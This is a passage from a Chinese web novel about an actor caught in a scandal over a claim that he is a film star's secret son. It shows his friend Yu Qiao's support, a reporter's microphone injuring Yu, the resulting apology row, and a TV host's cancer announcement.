相较而言,俞悄在这件事中所受到的牵扯,几乎可以忽略不计。 他和纪繁西的关系虽然没有明面上公开,可就凭他和纪繁西的相处模式,只要有点眼力的都能看出绝非仅仅是职场前后辈。 不过就算他是纪繁西私生子也没什么人在意,既没架空公司又没挪用公款,俞悄在公司的定位,本身就跟个吉祥物似的。 蒋雨池这条微博的每个字,最终的火线都在只炸开在叶幸司一个人身上。 可他为什么那么清楚? 真要是那么清楚,怎么还会把叶幸司错当成左槊的私生子? 还是说…… 俞悄头皮一阵发麻,掏出手机想给叶幸司打电话,才看到手机上的消息已经炸了。 从俞小雨到小蜡到万洋,行内关系或深或浅、但凡友好沟通过几句话的人,包括几百年没联系过的老同学,全都或直白或旁敲侧击,来打听叶幸司与左槊的关系是否属实。 周行东也不知道从哪又冒出来,给他发一句“有趣”。 有你妈个头! 俞悄看见这俩字就抓狂,面目扭曲程度不亚于纪繁西,彻底把这人全平台拉黑。 “叶幸司呢?人在哪?”纪繁西也在找。 “我给他打电话。”俞悄去走廊拨通那个烂熟于心的号码。 正在通话中。 十分钟,俞悄给叶幸司打了四个电话,全都是正在通话中。 他又给娜诺打电话,结果娜诺也不知道叶幸司去哪。 “他看完蒋雨池的微博什么都没说,直接出会场走了。” 俞悄只好给叶幸司留言:有时间了打给我。 “通话中。”俞悄回去向纪繁西汇报,“左槊那边看到了吗?” “一样。”纪繁西晃晃手机,疲惫地抹了把脸,“他俩应该在打电话。” “蒋雨池为什么说是私生子?”俞悄小声问,“到底是私生子还是……” 纪繁西皱起眉:“我也不确定了。” 叶幸司联系不上,蒋雨池那边发出这条微博后,也没有在网上多说一句话。 公司的电话系统直接瘫痪,各部门紧急公关,蒋雨池第一次发长微博时引来的舆论与这次相比,完全是小巫见大巫。 俞悄被高层喊去问了几句话,确定了他和纪繁西的关系是否属实,俞悄照实说了,谨慎地询问公司对他会如何处理。 “只是找你了解一下情况,看看后面舆论如何发酵。” 领导摆摆手,还反过来问俞悄,“叶幸司真是左槊私生子啊?” 合着高层也吃瓜。 俞悄无语了一下,坦诚地回答他不清楚,就被挥挥手放走了。 叶幸司的电话在半小时后终于结束了通话中的状态,但依然不接电话,谁也联系不上。 俞悄在公司待不住了,开车去了趟他家,屋里乌漆嘛黑,不见人影。 到底去哪了? 俞悄索性不走了,往沙发上一坐,就在他家里等。 叶幸司是在失联五个小时后,半夜两点终于出现的。 当时俞悄正在他家厨房给自己找吃的,手机在吧台上自动播放着短视频。 “……当“努力”成为“狼来了”,它的意义究竟还剩下什么?因为演技烂而出圈,号称自己透明多年、最终凭借努力拍戏触底反弹成为顶流的大明星,被爆料出真实身份竟然是影帝的私生子!不仅经纪人是圈内一姐,连之前的助理都是一姐的亲外甥!别的艺人还在苦苦哀求老天爷赏饭吃,我们的叶大顶流是半个娱乐圈围着往嘴里塞饭啊!咱就是说这圈子除了演技差无法掩饰,还有什么是真的?” 每当出现瓜料,都是黑粉与营销号们的集体狂欢。 叶幸司的超话已经没眼看了,不知道哪些人组织的水军来反复屠宰广场。各大平台的营销号靠着一张截图就开始带节奏,使用着大同小异的文本,疯狂吸收流量。 各方的消息实在太过烦不胜烦,俞悄直接把手机调成了静音。 所以等他从冰箱翻出一盒临近过期的巧克力,站在垃圾篓前吃了好几块,又开了瓶苏打水喝半瓶,重新再去拿起手机时,才发现屏幕上叶幸司的消息。 叶幸司:你在哪。 只有这三个字,发送时间五分钟前。 他忙给叶幸司打过去,响了好几声铃对面才接起来,叶幸司声音沙哑:“在哪。” “你在哪呢?”俞悄与他同时开口。 叶幸司那边很安静,有种狭小空间特有的感觉,衬托着他似乎疲倦至极的声音,让俞悄心里狠狠拧了一下。 “蒋雨池说的是真的?”他小心问,“到底是侄子还是……” “能出来吗。”叶幸司打断他,“现在很想见你。” “出哪?”俞悄一时间没反应过来,跑去他家阳台往外看,“你要到家了?” “你家外面的路口。”叶幸司说,“小区东门。” 俞悄攥在阳台栏杆上的手指猛地握紧,用力咬了咬牙关,才把莫名汹涌进鼻腔的酸意压下去。 都已经是现在这样的关系了,最累的时候,叶幸司第一个想见的人竟然还是他。 “……我没在家。”俞悄清清嗓子,“你回来吧。” 叶幸司沉默下来。 “我在你家呢。”俞悄说。 叶幸司是带着冬夜里寒风的味道进的家门。 凛冽,冰冷,随时准备下雪的苍凉气息。 俞悄听见声响去开门,除了这扑面而来的寒气,还有叶幸司泛着血丝的眼睛。 “到底怎么回事?”俞悄把他拉进来,急切地问。 叶幸司没动,先把俞悄揽进怀里抱了一下。 就一下,抱完他就松开手,边脱外套边径直向客厅走去。 像一只疲倦的大鸟,在他的树枝上短暂的栖息。 第97章 “他什么都不告诉我。”叶幸司说。 俞悄急得跟在他身后打转,感觉口干,半道转去吧台,把刚才没喝完的半瓶苏打水给喝了。 叶幸司靠在沙发里看着他,俞悄呛了一下才想起这里不是自己家,又给叶幸司拿了瓶水过去。 “不告诉你是什么意思?”他小心地追问,“就是没承认蒋雨池的爆料,但是也没……” 也没否认。 叶幸司闭上眼向后仰靠,抬起一条胳膊搭在脑门上,深深地呼出口气。 宽敞透亮的客厅一片寂静,叶幸司不说话,俞悄看着他,不知道自己该不该继续多嘴。 “我妈在我很小的时候就去国外了,我是左槊养大的。” 叶幸司突然开口,用一种讲故事般轻描淡写的口吻。 “我没见过我爸,我没出生的时候他做生意出了事,去国外躲债,跟家里所有人都断了联系。我会说话能吃饭以后,我妈也走了,去找我爸,我就再也没见过他们。” “这些都是左槊告诉我的。” 叶幸司偏过头望着俞悄,俞悄嘴巴抿成一条线,盯着他看。 这是叶幸司第一次主动提他家里的事。 “我住在左槊这边的一栋老房子里,他常年不着家,有个保姆照顾我。小时候我也奇怪,为什么别人有爸妈,我没有。” “左槊很不耐烦,他最烦我提这些事,让我想爸妈就自己挣钱去找,他也不知道夫妻俩死哪去了。” “我说我不知道他们在哪怎么找,他说那你就让他们看见你。” 俞悄心口一阵酸楚:“所以你拍戏,想火,就是想站上更大的舞台,让他们……” “那倒不是。”叶幸司望着他的目光有些好笑。 俞悄的酸楚荡然无存,干巴巴地“哈哈”一下,被叶幸司弹了下脑门。 “有句话怎么说,人没有办法幻想出没见过的东西。”叶幸司继续慢条斯理的讲述,“放在感情上应该也适用——人没办法惋惜没得到过的感情。” “我对所谓的父母没有记忆,问左槊也只是好奇,为什么别人有,我没有。” “左槊虽然不管我,但在钱上没有短过我。不愁吃不愁穿,有钱花没人管,小时候我过得挺轻松的。” “所以懂事一点以后,我对我的父母也就不奇怪了,也不想要了。” 俞悄点点头。 凭左槊与叶幸司的相处模式,叶幸司形成这样对亲情没概念的性格,确实理所当然。 “至于拍戏,是我真的喜欢。”叶幸司想了想,“这点不否认,有左槊的影响。” “我第一次进片场,就是小时候和左槊那部武侠电影。” “当时带我的保姆生病回家了,那个寒假没人管我。左槊回来处理事情,算是他难得爱心发作吧,看我一个人在家,实在没办法,临时也找不到合适的人住到家里照顾我,就带着我一起去组里。” “他不让我进片场,只让我在酒店呆着,每天花钱喊个服务员陪我玩。” “臭有钱人。”俞悄忍不住骂了一句。 叶幸司扯扯嘴角:“他就是这种人,认为钱可以买来一切。” “那你天天玩怎么还演上戏了?” “非常巧。”叶幸司陷入回想,“电影里原定的小孩儿,拍摄当天从马上摔下来,骨折了。” 俞悄轻轻“嘶”一声。 “左槊他真的是很随性的人,想一出是一出,以自我为中心。” “其他人都在担心那小孩的伤势,害怕出剧组事故,他只想着自己的戏被耽误了,耍大牌,就要当天拍。” “就把你拉去了?”俞悄瞪大眼。 拍摄现场出现意外,找临场演员急救也属于常事,可基本都是龙套角色。 儿童演员不受控因素太多,临时去找,还是找个没有接受过表演训练的纯天然儿童,跟胡闹没有区别。 “当时导演应该也和你一个反应。”叶幸司又笑了,“他跟左槊说这场没有小孩拍不了,左槊说他那有个小孩,导演问什么小孩,都拍过什么,他说他亲戚的小孩,什么都没拍过,但是可以拍。” “然后就把我带去了。” “神经病……”俞悄受不了了。 “我对那天的记忆并不深,就记得很多人。左槊跟我讲戏,只说了一句:等会你就站那,我让你干嘛你就干嘛,平时怎么看我,等会儿就怎么看我。” 俞悄依然能想起电影里小叶幸司的眼神。 木然,沉闷,眼珠黝黑,黑得发凉。 “你就那么拍了?”他很惊奇。 “现在回想起来,我自己都不信,”叶幸司眼皮垂下来,思考着什么,“一条就过了。” 俞悄很想配合氛围,真挚地说一句“我信”。 可他实在昧不下良心,瞪着眼珠子半天说不出话来。 叶幸司也不需要得到俞悄的认可,继续开口:“那时候我才知道,左槊是个演员,对‘演员’这个行业有了概念。” “我觉得很有意思。” “现场的人都在夸我,说我有灵气,培养一下了不得。左槊半天没吱声,只是看着我,最后冷笑了一下。” “后来我还想让他带我去片场玩,想拍戏,他不让,说我不是这块料。” “所以。”俞悄到这里就串上了,“你之前跟我说,拍完那一次,之后家里就不让你接触这些东西了。” “嗯。”叶幸司点了下头,“直到我成年,上大学,能自己挣钱养自己,决定自己的人生。” “然后就是整整的七年。”俞悄怅然若失,“他知道你在圈里的状况,却一点也没帮过你。” “七年后就遇到你了。”叶幸司望着他,眼神和声音一样绵沉。 这算什么呢。 俞悄的手指攥成拳,扭头瞪着空中虚无的某一点,种种情绪在他胸口冲突碰撞,汹涌得要从眼眶里冒出来。 这样的相处与关系,即便叶幸司真的是左槊的私生子,又给叶幸司带来什么帮助和好处了呢? 俞悄现在已经不关心叶幸司与左槊的关系了,也不在意蒋雨池这爆料是误打误撞,还是却有门道。 他只难受凭什么只因为与左槊这个名字有了牵连,叶幸司的努力就被堂而皇之的抹杀。 那是一个演员的七年,自己摸爬滚打,最宝贵最美好的整整七年。 而叶幸司无人问津的岁月,又何止七年。 “我要让公司给你开记者会。” 俞悄猛地站起来,低头吸溜着鼻子摁手机,往阳台走。 刚迈出一步,他手肘一紧,被叶幸司拽回来,跌坐回沙发上。 “我不想去回应这些事。”叶幸司看着俞悄,轻声说,“至少现在不想。” “凭什么啊!”俞悄扭头冲他大喊,“凭什么不回应?凭什么由着网上这么糟践你?” 涩了一晚的眼眶终于噙不住喷薄的情绪,俞悄感觉自己的眼泪像口水一样,直接溅了出来。 他深感丢人,像个小孩,使劲一拧身子挣开叶幸司还攥在胳膊上的手,用整条小臂用力抹了两下眼。 “因为网络就是网络。” 叶幸司扳过俞悄的脸,揩了揩他的眼角。 “他们并不真正关心我的身世,也不关心我是否手眼通天、坐享资源。骂我的人,或许连我的戏都没看过,根本不知道谁是叶幸司。” “他们只是需要这样一个所谓的爆料,一个披着id就能随意表达的平台,宣泄情绪。” “他们恨一个人,比喜欢容易一百倍。” “哪怕根本毫无关系。” 俞悄越听叶幸司这么冷静,嘴角撇得越厉害。 “该死的网络喷子。”他恨恨地骂,“不要脸的营销号。” “也不全是。”叶幸司弯了弯眼仁,“也有真诚的观众,一杆子打死就不好了。” “是有。”俞悄不否认。 漫天看热闹与讥讽的风向中,俞悄刷到过些许理性的言论。 让他印象深刻的是一个叫AAA货车运输什么哥的抽象ID,暴躁地发帖:谁是谁爹谁是谁儿子管你们鸡巴事,左槊真是他爹叶幸司早火了。演员演戏观众看戏,人家的家事不主动提就是不爱提,被你们扒出来都不知道真假就开始狗叫,怎么的找到你亲爹了?演员只要不犯原则性错误,需要被大众指责的只有演技,望周知。 虽然这条帖子底下的热评第一是“可叶幸司演技也确实烂啊,前两年刚好两部,现在有都是些什么玩意儿”。 但俞悄还是给这个贴用力点了个赞。 “那你决定怎么办?”俞悄又吸溜一下鼻子,冷静下来问。 “不办。”叶幸司欠身抽了两张纸巾递过来。 “左槊唯一明确告诉我他不会回应,我也没打算跟外界解释我家里的私事。” “网上没有长久的惊涛骇浪,天大的事,热闹一阵子也就过去了。” “他们恨得容易,忘得也容易。” 这确实是实话。 俞悄点头,接过纸巾擤了一大泡鼻涕。 叶幸司虽然这会儿说得冷静,那断联的一晚上肯定也心乱如麻。 现在向俞悄倾诉完,他又开始逗人:“怎么还跑过来了,担心我?” “心烦。”俞悄如实回答,“看他们轻易就把你的努力给无视掉,闹心得厉害。” “不怪他们。”叶幸司刮刮俞悄的鼻梁。 “装大度装上瘾了?”俞悄攥着鼻涕纸瞪眼瞅他。 叶幸司杵着腮帮子盯了他几秒,嘴角一点、一点,真正的翘起来。 “没装。”他认真解释,“如果我演技够好,作品够优秀,为我说话的人只会变多。到时候就算说左槊是我私生子,也不会有人大惊小怪。” “孝死我了。”俞悄真乐了。 也是。 蒋雨池的爆料明明应该左槊受影响更大,可他的成就和实力在那,中国人几千年来最擅长包容有本事的人,在绝对实力面前,黑料也能成为风流的美谈。 骂全让叶幸司一个人挨了。 “演员能被记住的只有作品,也只应该是作品。” 叶幸司拍拍俞悄的脑袋。 “我要重新好好拍戏了。” 第98章 这是一个绝对理性与冷静的决定。 或许也是最正确的决定。 俞悄知道叶幸司很少受舆论影响,不然最开始的七年他都熬不过去,早被骂到心灰意冷了。 但以前他只觉得叶幸司自我治愈能力强,结合他个人的性格说难听一点:当一个人足够自以为是、足够傲慢,确实可以完全无视外界的评判——不仅仅是攻击和谩骂,连他本人不认可的诚恳建议也可以忽略。 比如俞悄曾经再三想要提醒他,好演员要打质,不能只看量。 以前磨破嘴皮子不当回事,现在连着几部烂剧又被骂上风口了,倒是自己转过弯来了。 但今天这件事,叶幸司连多年来的家庭构成都被推翻了,哪怕真的只是流言,左槊那避而不谈的态度,搁在任何人身上都得崩溃一阵子。 叶幸司却能用一个晚上的时间迅速调整自己,思考到这一步。 俞悄看着面前这个人,一时间不知道他究竟是精神内核过于强大,还是对除了拍戏以外的任何事,都漠然得可怕。 在拍戏面前,叶幸司似乎真的没有什么放不下的东西。 包括他自己的人生。 确定了叶幸司的状态平稳,俞悄的心情从最初的担心,经历刚才的起伏,也平静下来,又开始变得复杂。 “现在说要好好拍戏了。劝你不听,非得自己吃屎长教训。” 他吸了口气,不动声色地拉开两人之间的距离。 从叶幸司进门后,他俩就靠得太近了。 叶幸司当然能捕捉到俞悄变淡的口吻,与挪向沙发另一端的小动作。 他没接话,只是眼底的笑意随之慢慢消散。 “你心里有安排就行,跟公司报个平安吧,都没睡呢。娜诺联系不上你,急得美甲都给掰了。” 俞悄站起身,将刚才吸入的那口气,又浅浅地呼出去。 “早点休息,我回去了。” “为什么不能坦诚一点。” 叶幸司保持倚靠在沙发上的动作,突然问。 俞悄愣了一下,转脸看他:“什么?” “明明很关心我。” “明明很在乎,刚才还在为我掉眼泪。” “是关心到一半,突然想起还在生我的气吗?”叶幸司歪歪脑袋,认真研究着俞悄似的,“你是小孩吗,俞悄。” 心事被戳穿的感觉,是会让人恼羞成怒的。 尤其叶幸司还用这么慢条斯理的口吻。 “能别自我感觉良好了吗?”俞悄绷着脸,“什么为你掉眼泪,神经病吧?” 叶幸司手指抵在嘴角上,被怼得偏头笑了一下。 “没人生你的气,我替公司来看看你,既然你没事了我当然就该走了。” 他言之凿凿,态度坚定。 叶幸司也不再多说,起身跟着起来:“我送你。” “不用。”俞悄朝玄关走,“我开车来的。” 刚迈出一步,他又被叶幸司拽住了。 “我送你。”叶幸司盯着他的眼睛重复。 俞悄拧着胳膊往外挣:“我说了,不用。” 叶幸司的五指和他的目光一样锁紧,俞悄几下没挣开,眉头就皱起来了:“又犯病了是不是?” 叶幸司眼神一松散,展开手臂,将俞悄圈进怀里。 “有时候真恨不得给你一巴掌。”他沙着嗓子在俞悄耳边说。 不知道是因为这句话本身,还是叶幸司说这话的语气中,那种微妙的无可奈何,俞悄身上打了个激灵,绷紧了肩膀较劲的力气就卸了七分。 还是很难受吧。 他轻轻抬起手,举到叶幸司背后悬停一会儿,又无声地垂落回去。 左槊和叶幸司对于这次的爆料都不打算做出正面回应,但也不能一言不发。 左槊在他海外的账号上,晒出了他和叶幸司在拍摄《半地鸡毛》时的合影,以一种不当回事的玩笑口吻附上配文:“姐夫”如父。 叶幸司更加直白,只发了四个字:无稽之谈。 公司等了一天观望风向,发出严正的声明:近日网上某些某些账号,与某些某些营销号,对于公司艺人所编造的谣言,严重损害了艺人声誉,将依法对该等提起法律诉讼。 被蒋雨池的爆料所引起的舆论,却没有因为两位当事人的态度,以及公司的声明而减弱。 人们坚信苍蝇不叮无缝的蛋,要是没点儿确凿证据,蒋雨池怎么敢一下得罪两位势头正劲的大明星?娱乐圈那么多人,他怎么不说艾浩不说万洋不说其他谁谁谁是左槊的私生子呢? 如果真是谣言,那为什么两人都故作不痛不痒,不去正面对板蒋雨池? 况且他们攻击的点本身也不在私生子这三个字上。 私生子是八卦,隐藏亲缘关系吃尽娱乐圈红利还要假装努力,才是网上抨击的中心。 连央媒都意有所指的发布了一条视频,配文一句话:演艺人员应当爱惜羽毛。 这才是真正的一石激起千层浪。 爱惜羽毛原指珍惜自己的名声品行,应该是针对任何人都适用的一句话。但是随着文娱行业的发展,现如今几乎成了公众人物的专用名词,成了品德基本课。 央媒在这时候提了这么一句,俞悄琢磨了半天,觉得百分之八十的指向是在敲打左槊——私生子是被生出来的,叶幸司职业操守没犯过什么毛病,如果真是左槊的私生子,分明是弱势的那一方。 剩下那百分之二十,最多也就是提醒叶幸司,在这种情况下更需要谨言慎行。 毕竟叶幸司是国家有意树立,年轻一代演艺人的形象代表。 央媒在这时不指名道姓的发声,意味着后续就不会再多苛责。既表明了态度,某种角度来说,也算是对年轻艺人的一种保护。 可吃瓜网友和各方媒体不这么想,在他们看来,这属于“国家都出面批评了”,简直就是吃瓜讨伐准可证。 各方八卦媒体立马生出八只脚,四处挖掘,什么小道消息都浮起来了,真真假假难以分辨。 左槊压了这么些年的叔侄关系,也混杂其中。露水没籽儿闲话没影儿,不知道是被那个熟人给扬了出来。 舆论就这样一浪接一浪,发酵到一周时,网友们俨然已经把自己当成网络判官,涌在每一条相关的话题下评论:真没关系就去做亲子鉴定啊,不敢做鉴定那蒋雨池的爆料就是真的,就别怪大家去骂。 俞悄看到这种评论就烦,真想发条微博好好骂一通:你们算老几啊,雍正让甄嬛做滴血认亲还得安抚一句软话,你们比皇帝还牛逼。 但当事人都不出面,实在轮不到他多嘴。 这些网上的言论实在看烦了,手机一关也就不碍眼了。 最让俞悄心烦的是,流言纷纷扬扬消停不下来,哪怕叶幸司打定主意专注拍戏,现下一时也由不得他。 “两家广告代言终止合作,一部电影合同取消,在谈的合作都来问话了。”商务主管推开纪繁西办公室的门,一脸疲相。 纪繁西“啧”了声:“没完没了了。” 俞悄再也无法忍受,转身就往外走。 他心里压着股火,不知道该向谁发。 虽然知道多大的爆料都有熄灭的那天,可眼下就如同纪繁西所说,没完没了了。 看不到头的负面言论压得人心头发沉,线上线下如今的情势,让他替叶幸司感到憋屈,和受刑没什么区别。 他思索着有没有什么更好的办法,下车库时忘了观察蹲点的媒体,刚出电梯门就被“呼啦啦”围上了。 不知哪家的话筒砸到额角,沉甸甸的金属敲击下来,俞悄当时就感觉脑门一烫,刺痛以那一点为核心,火烧火燎的扩散开来。 他抬手捂住右侧额头,记者们还在七嘴八舌的提问:“蒋雨池的爆料是真的吗?” “俞悄你和纪繁西也有亲戚关系是吗?” “给叶幸司做助理时你并为入行,请问是直接指定吗?” “你离开叶幸司团队有特殊原因吗?” “为什么一直没在网上回应?” “听说已经波及到叶幸司的其他合……哎,流血了!” 一道浅浅的热流滚过眼皮,俞悄抹了一下,心里的第一个念头净是松了口气:这下总不能缠着他继续提问了吧。 他咧咧嘴,有些无奈地朝众人摊手,想琢磨一句风趣的自嘲脱身。 然而没等他张嘴,一只手掌从身后降落,捂在他额头上,将他裹在怀里就直接带出了人群。 俞悄被拐了个踉跄,顶着脑门上的手劲抬脸看。 映入眼帘的是压得极低的黑色帽沿,眉眼处都被遮挡在阴影里,他匆匆扫视只来及看清线条优美的下颌线,和绷直成一条线的不悦嘴角,就被重新摁进怀里。 “别乱动。”叶幸司说。 媒体们见到叶幸司比闻到血腥味还激动,嘈杂着更加往上涌,被娜诺带着安保隔挡开。 “叶幸司不为自己解释两句吗?”有记者扯着嗓子喊。 叶幸司把俞悄先塞进车厢,扭头朝那一堆记者望过去。 “谁砸的?”他声音不高不急,几家媒体却立马都闭了嘴。 俞悄在车里拽上他的衣摆,扯了一下。 叶幸司垂手捏捏他的手掌,对娜诺说:“查监控。” “好的,”娜诺点头,“我这就去……” 叶幸司不等娜诺回完话,低头坐进车里,扬长而去。 第99章 叶幸司和俞悄一起坐在后排,司机把车一开出去,他先拿下俞悄的手,认真看了看伤口。 “没事。”俞悄反过来先安慰他,笑着说,“我能感觉出来,就破了层油皮。” “油皮能出血?”叶幸司不仅绷嘴角,连眉头都微微皱起来了,“去医院。” “已经不流啦。”俞悄想用手背蹭一下给他看,还没蹭到伤口,就被叶幸司摁下手。 “别乱动。”他又一次叮嘱俞悄。 司机不用交代,已经把车朝医院的方向开去。 俞悄其实觉得叶幸司有点大惊小怪,但人家毕竟是一片好心,他就老实地不再乱动,靠着车门朝车外望。 俞悄坐好了,叶幸司也就没再研究他伤口,叠着腿拿出一份剧本,一页页翻着看。 车里安静下来,俞悄又溜着眼睛朝人家那边看。 “你怎么突然来了?”他问叶幸司。 “来谈个合同。”叶幸司说,“一下车就看见你被围着。” “啊。”俞悄愣愣,扭过脸正视他,“那你先回去忙,把我放路边就行。” 叶幸司没接他话,像是觉得俞悄这提议很好笑,连眼神都懒得给,又翻一页剧本。 他因为俞悄挨砸黑着脸,专门把人送去医院,戴着帽子口罩亲自去排队跑科室。 但医生摁着俞悄的额头看了一眼,就做出和俞悄本人相差无几的诊断:“没事,消消毒吧,结痂前伤口别碰水。” “不用缝针吗?”叶幸司沉声问。 他戴着黑口罩,医生戴着白口罩,撩起眼皮打量打量叶幸司,低头龙飞凤舞地划拉两笔字:“开药去吧。” 俞悄被简单处理完伤口,连纱布都被包,额角顶着一小块紫红干涸的药水,跟叶幸司去药房开药。 一盒消炎药,一盒祛疤膏。 “浪费了。”俞悄看着祛疤膏就笑了。 叶幸司用眼神询问他:什么? 俞悄朝叶幸司晃晃那盒祛疤膏:“当时我给你买一袋子呢。” 他下意识望叶幸司鼻梁上瞅,确认那道红痕已经看不出痕迹了。叶幸司没有接话,只垂眼笑了下。 被扔在《十四夜谈》的那一兜祛疤膏,也就是半年多前的事,现在重新提起来,两人却都有一种时过境迁白云苍狗的遥远感。 像那种经历过共同的劫难,个人恩怨突然就变得很小很小的感觉。 虽然叶幸司这次的爆料风波,远远够不上“劫难”这种字眼。 “你去公司吧。”俞悄拎着药兜站在医院门口,就不上叶幸司的车了。 “先送你回去。”叶幸司说。 “我从这溜达着就回家了。”俞悄朝不远处一指,他家确实只隔着一个路口,“谢谢你。” 医院门口人来人往,病人或者探病的家属都步履匆匆。 这里应该是最自顾自、没有闲心去管别人事的场合,但叶幸司不论站在什么地方都太过扎眼,尤其是脸上还捂那么严实。 俞悄注意到不远处的人行道上,已经有年轻小姑娘朝这张望,还举着手机遮遮掩掩的拍照,就直接上前一步,拉开车门催人:“进去,被认出来麻烦。” 叶幸司也注意到了。 他压低帽子坐进车里,抬眼观察一下俞悄额角的小伤疤,还是叮嘱:“找个纱布包一下。” “医生都说不要包。”俞悄把车门给他拍上,“你比医生专业?” “嗯。”叶幸司一本正经地应声,“别捂太严就行。你毛手毛脚的,容易碰着。” 俞悄不跟他挣,哄小孩似的答应回去就包,叶幸司又看他一眼,才让司机把车开回去。 目送叶幸司的车消失在车水马龙中,俞悄低头用手机照着自己的额头看两眼,没像答应好的那样返回医院包纱布。 那块小伤疤和他心底某块地方一起隐隐发着烫,他原地踮踮脚,将药兜挂在手腕上,双手揣进外套衣兜里,慢慢悠悠的往家走。 老妈正在玄关换鞋准备出门,俞悄推门进来,额角的伤毫无遮掩的直入眼帘。 “哎呀!”老妈愣一下,蹬掉鞋凑过来,连声问俞悄脑门怎么了?疼不疼?心疼得不行。 俞悄安抚着老妈不疼,撒谎说自己下楼梯没看好,卡了个大马趴。 “多大人了还卡大马趴!”老妈更不是滋味了,捋着俞悄的袖子裤腿儿,检查他还有没有其他磕碰。 好说歹说刚把这边安抚完,俞悄的手机又急吼吼地响了。 “哥没事吧?”万洋一接通电话就很关切地问。 “没事啊。”俞悄有点不确定他是不是在问自己己被话筒砸了的事,这知道得也太快了,别是蒋雨池又整什么幺蛾子。 “你问什么事?”他谨慎地细问万洋。 “不是被砸了吗?”万洋说,“我看见叶老师发的微博了。” 俞悄顾不上跟他解释,忙又去登微博。 近期凡是与叶幸司挂钩的话题,一出先就是在热搜榜上。 所以俞悄点开微博,消息界面九十九加的红点还没加载出来,就先看见最新的热度话题:#叶幸司要求蜻蜓向俞悄道歉 叶幸司原博的内容简单明了:@蜻蜓传媒,记得向俞悄道歉。 言简意赅,十足叶幸司本人的风格。 这条微博他估计都没跟团队商量,因为叶幸司工作室的官博和公司官博,都在这条微博上热搜后才紧急发声明:今天几家媒体未得到许可,在公司地下车库对@小俞静悄悄进行采访时,发生了话筒误伤。员工已前往医院包扎伤口,希望各方媒体朋友遵循流程,互相尊重。 官博的声明编辑了两次错别字,在第二次编辑时附上监控截下的画面。 明显的手忙脚乱。 蜻蜓的官博几乎是立马做出回应,声称前去采访的是实习生,没有和公司报备,公司已进行批评教育并予以解雇,非常抱歉出现如此恶劣的事故,公司正在联系@小俞静悄悄道歉并赔偿相应的医药费吧啦吧啦。 吃瓜归吃瓜,真出现流血事件了,网友们的口风又一边倒了。 蜻蜓不是小媒体,与公司又保持着长期的合作,被叶幸司一条微博送上热搜,评论区被骂成三孙子,跟直接扇人家脸上似的。 公司肯定又要给叶幸司开会了。 各方的微信消息一条条的冒,万洋也还在电话那头喋喋不休,俞悄盯着乱糟糟的热搜界面,却忍不住翘起嘴角。 他给叶幸司发消息:给我打抱不平呢? 叶幸司慢慢悠悠,还是只回一个字:嗯。 第100章 纷纷扬扬的私生子流言,随着俞悄被一话筒敲破脑壳,很奇妙的被转移稀释了。 确切来说,是随着叶幸司那条点名道姓,要求媒体道歉的微博。 曾经那一群对着他俩嗑生嗑死的邪门粉,在《塌房二》之后,渐渐销声匿迹。 眼下又如同死灰复燃,“唰”地冒出一片来,由道歉事件为中心点挖掘延伸,将从《塌房一》开始,叶幸司和俞悄之间的种种细节拉出来晾晒重制,还成群结队的感慨“老饭真香”。 俞悄刷着那些嗑cp的评论,心态早已经和以前不一样了。 他理智地明白,正如同纪繁西和叶幸司所言,网上没有长久的风浪,人们的呼吁也好八卦也好讨伐也好,在持续了一段时日后,会像春去秋来一般自然更迭。 就算没有道歉事件,随便蹦出什么张三李四王二麻子,网友的关注也会随之转移。 仿佛这圈子里的每个组成部分,上至资本下至观众,都恪守且遵循着“娱乐至死”的中心思想。 当然,众说纷纭,也有看似跟俞悄一样理性的观众。 他们认为所谓的道歉事件,就是叶幸司联合俞悄进行的一场苦肉戏,目的就是转移吃瓜群众的注意力。 可惜这些“聪明人”的小范围见解,也无法将大众的娱乐心理,拉回到已经过了峰值期的旧话题。 而在网友对道歉事件的也将要感到无趣的时候,一则突然的消息,盖过被叶幸司霸占了近一个月的话题榜单,引起半个圈子的感叹。 卡卡发布微博,公开了自己咽喉癌晚期的消息。 那天是惊蛰,一个透着阳光的阴天,俞悄在卫生间洗漱完,正对着镜子抠下自己额角的最后一小块结痂。 天气不冷不热,很舒适,早上十点,公司与蒋雨池将正式对薄公堂。 法务部的事情俞悄了解得不多,在叶幸司的流言风波稀释后,他也不怎么再关注公司对于蒋雨池的处理。 听说左槊看似不动如山,却在背后出了大力量,这场官司的结局如何,已经是可想而知的事。 刚剥落结痂的皮肤呈现着新鲜的肉色,与边缘处的其他皮肤形成对比,显出一块小小的倒三角嫩斑,很快就会恢复。 俞悄拨弄着头发左右打量自己,这下倒真像是摔倒被擦碰了。 手机在盥洗台上亮了一下,是工作上的消息。 他拿起来回复,返回到微信聊天界面时,平时被免打扰的公众号刷新出一条新闻。 俞悄的视线习惯性地滑过标题,顿了顿,又迅速抬眼看回去。 惊!知名主持人卡卡称已经咽喉癌晚期! 俞悄逐字将这句话看了两遍,脑中跳出《塌房一》时那个照顾每位嘉宾,活跃气氛如喝水一样简单的卡姐,清晰地感到刚刚掉痂的额角,“突”地跳疼了一下。 公众号为了抢夺流量,正文里并没有多说什么东西,只是将卡卡的微博原文截图过来,图片右上角的时间,显示卡卡的原博刚刚发布8分钟。 卡卡的第一句话十分直白:亲爱的朋友们,在你们看到这条微博时,我已经说不了话啦。 俞悄顾不上去微博,在公众号里匆匆浏览。 几年前开始频繁出现喉部不适,以为是主持人的职业病,没放在心上;随着不适感越发严重,起初的几次检查没发现什么问题,选择吃药调理;三年前查出喉部肿瘤,没告诉任何人,跟电视台请了长假随家属去国外疗养;原本以为已经康复,去年突然复发,喉头声带切除,依然扩散到整个鼻腔,并感染到肺部…… 卡卡介绍自己的病发经过,不带一丝个人情感,机械地像在书写病例。 俞悄不太想细看,在看到声带切除这几个字时,心头还是被狠狠拧了一下,一股窒息感无形地攫住他的喉咙。 这可是一位主持人,她的工作就是说话。 “一开始的时候呢,我很难接受。我觉得自己虽然没有在我的岗位做出什么贡献,但也算勤勉认真,没害过人没起过坏心,这种事为什么会发生在我身上。 “切除声带的决定让我痛苦很久,我一直在想,不能说话了,我还怎么上班呢? “直到我的孩子哭着抱着我,说哑巴妈妈也没关系,我嚎啕大哭,决定拼一把。 “可惜没拼成功哈哈。 “但是没关系,现在我已经调整好了。前半辈子基本都在拼工作,最后的时光,我终于可以歇下来了。朋友们不用来探望我,我也没在家,就让我像一位普通的妈妈、女儿、妻子一样,安静的陪伴我的家人。 “如果有台本,到这时候就该送祝福了哈! “以前的祝福多是送给观众朋友,我每次说你们就是我的亲人,都是认真的。 “但这次,我更想将最真诚的祝福,和掏心底的叮嘱送给我的同行们,送给挣扎在这个圈子里的每一位,需要面向公众的艺术工作者。 “要爱自己。要爱自己。要爱自己。 